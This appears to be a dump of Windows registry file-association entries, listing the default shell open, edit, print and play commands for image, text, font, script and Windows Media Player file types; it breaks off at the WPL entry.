    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.gif\Shell\3D Edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.gif\Shell\setdesktopwallpaper\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.glb\Shell\3D Edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif\Shell\3D Edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif\Shell\setdesktopwallpaper\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe\Shell\3D Edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe\Shell\setdesktopwallpaper\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg\Shell\3D Edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg\Shell\setdesktopwallpaper\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg\Shell\3D Edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg\Shell\setdesktopwallpaper\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.obj\Shell\3D Edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ply\Shell\3D Edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png\Shell\3D Edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png\Shell\setdesktopwallpaper\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.stl\Shell\3D Edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\Shell\3D Edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\Shell\setdesktopwallpaper\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\Shell\3D Edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\Shell\setdesktopwallpaper\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wdp\Shell\setdesktopwallpaper\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\image\shell\edit\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\image\shell\print\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\text\shell\edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\text\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\telnet\shell\open\command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\textfile\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\textfile\shell\print\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /p "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\textfile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\themefile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\themepackfile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TIFImage.Document\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TIFImage.Document\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\shimgvw.dll",ImageView_PrintTo /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\tn3270\shell\open\command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ttcfile\shell\preview\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ttcfile\shell\print\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ttffile\shell\preview\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ttffile\shell\print\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\print\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\notepad.exe /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Undecided\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\OpenWith.exe "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Unknown\shell\Open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\OpenWith.exe "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Unknown\shell\openas\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\OpenWith.exe "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Unknown\shell\OpenWithSetDefaultOn\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\OpenWith.exe -override "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBEFile\Shell\Edit\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\Notepad.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBEFile\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\WScript.exe" "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBEFile\Shell\Open2\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\CScript.exe" "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBEFile\Shell\Print\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\Notepad.exe" /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBSFile\Shell\Edit\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\Notepad.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBSFile\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\WScript.exe" "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBSFile\Shell\Open2\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\CScript.exe" "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBSFile\Shell\Print\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\Notepad.exe" /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\vcard_wab_auto_file\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /vcard "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WAB.AssocProtocol.LDAP\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wab_auto_file\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /Import "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wbcatfile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\sdclt.exe /restorepage
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wcxfile\shell\Open\Command
        (Standard)    REG_SZ    "C:\Windows\System32\xwizard.exe" RunWizard /u {7940acf8-60ba-4213-a7c3-f3b400ee266d} /z%1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wdpfile\shell\print\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\shimgvw.dll,ImageView_Fullscreen %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wdpfile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\shimgvw.dll,ImageView_PrintTo /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\webpnpFile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\wpnpinst.exe %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.CompositeFont\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\notepad.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.IsoFile\shell\burn\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\isoburn.exe "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.IsoFile\shell\mount\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.VhdFile\shell\mount\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.XamlDocument\shell\edit\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\notepad.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.XamlDocument\shell\open\command
        (Standard)    REG_SZ    "C:\Windows\System32\PresentationHost.exe" "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.Xbap\shell\edit\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\notepad.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.Xbap\shell\open\command
        (Standard)    REG_SZ    "C:\Windows\System32\PresentationHost.exe" "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WindowsBackupFolderOptions\shell\openDesktopIni\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\sdclt.exe /FOLDEROPTIONS %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WindowsStore.License\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\licensemanagershellext.exe "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wmffile\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wmffile\shell\print\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /p "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wmffile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.AudioCD\Shell\Play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:3 /device:AudioCD "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.BurnCD\Shell\Burn\Command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:3 /Task:CDWrite /Device:"%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.DVD\Shell\Play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:4 /device:DVD "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.DVR-MSFile\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.DVR-MSFile\shell\Play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.VCD\Shell\Play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:4 /device:VCD "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.WTVFile\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.WTVFile\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.3G2\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.3G2\shell\Play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.3GP\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.3GP\shell\Play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.ADTS\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.ADTS\shell\Play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.AIFF\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.AIFF\shell\Play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.ASF\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:7 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.ASF\shell\Play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:7 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.ASX\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.ASX\shell\Play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.AU\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.AU\shell\Play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.AVI\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:8 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.AVI\shell\Play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:8 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.CDA\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.CDA\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.FLAC\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.FLAC\shell\Play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.M2TS\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:12 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.M2TS\shell\Play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:12 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.m3u\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.m3u\shell\Play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.M4A\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.M4A\shell\Play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MIDI\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MIDI\shell\Play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MK3D\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MK3D\shell\Play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MKA\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MKA\shell\Play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MKV\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MKV\shell\Play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MOV\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MOV\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MP3\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MP3\shell\Play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MP4\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MP4\shell\Play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MPEG\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:9 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MPEG\shell\Play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:9 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.TTS\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:12 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.TTS\shell\Play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:12 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WAV\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WAV\shell\Play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WAX\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WAX\shell\Play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.wma\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:5 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.wma\shell\Play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:5 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WMD\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /WMPackage:"%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WMS\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /layout:"%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WMV\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:7 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WMV\shell\Play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:7 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WMZ\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /layout:"%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WPL\shell\open\command
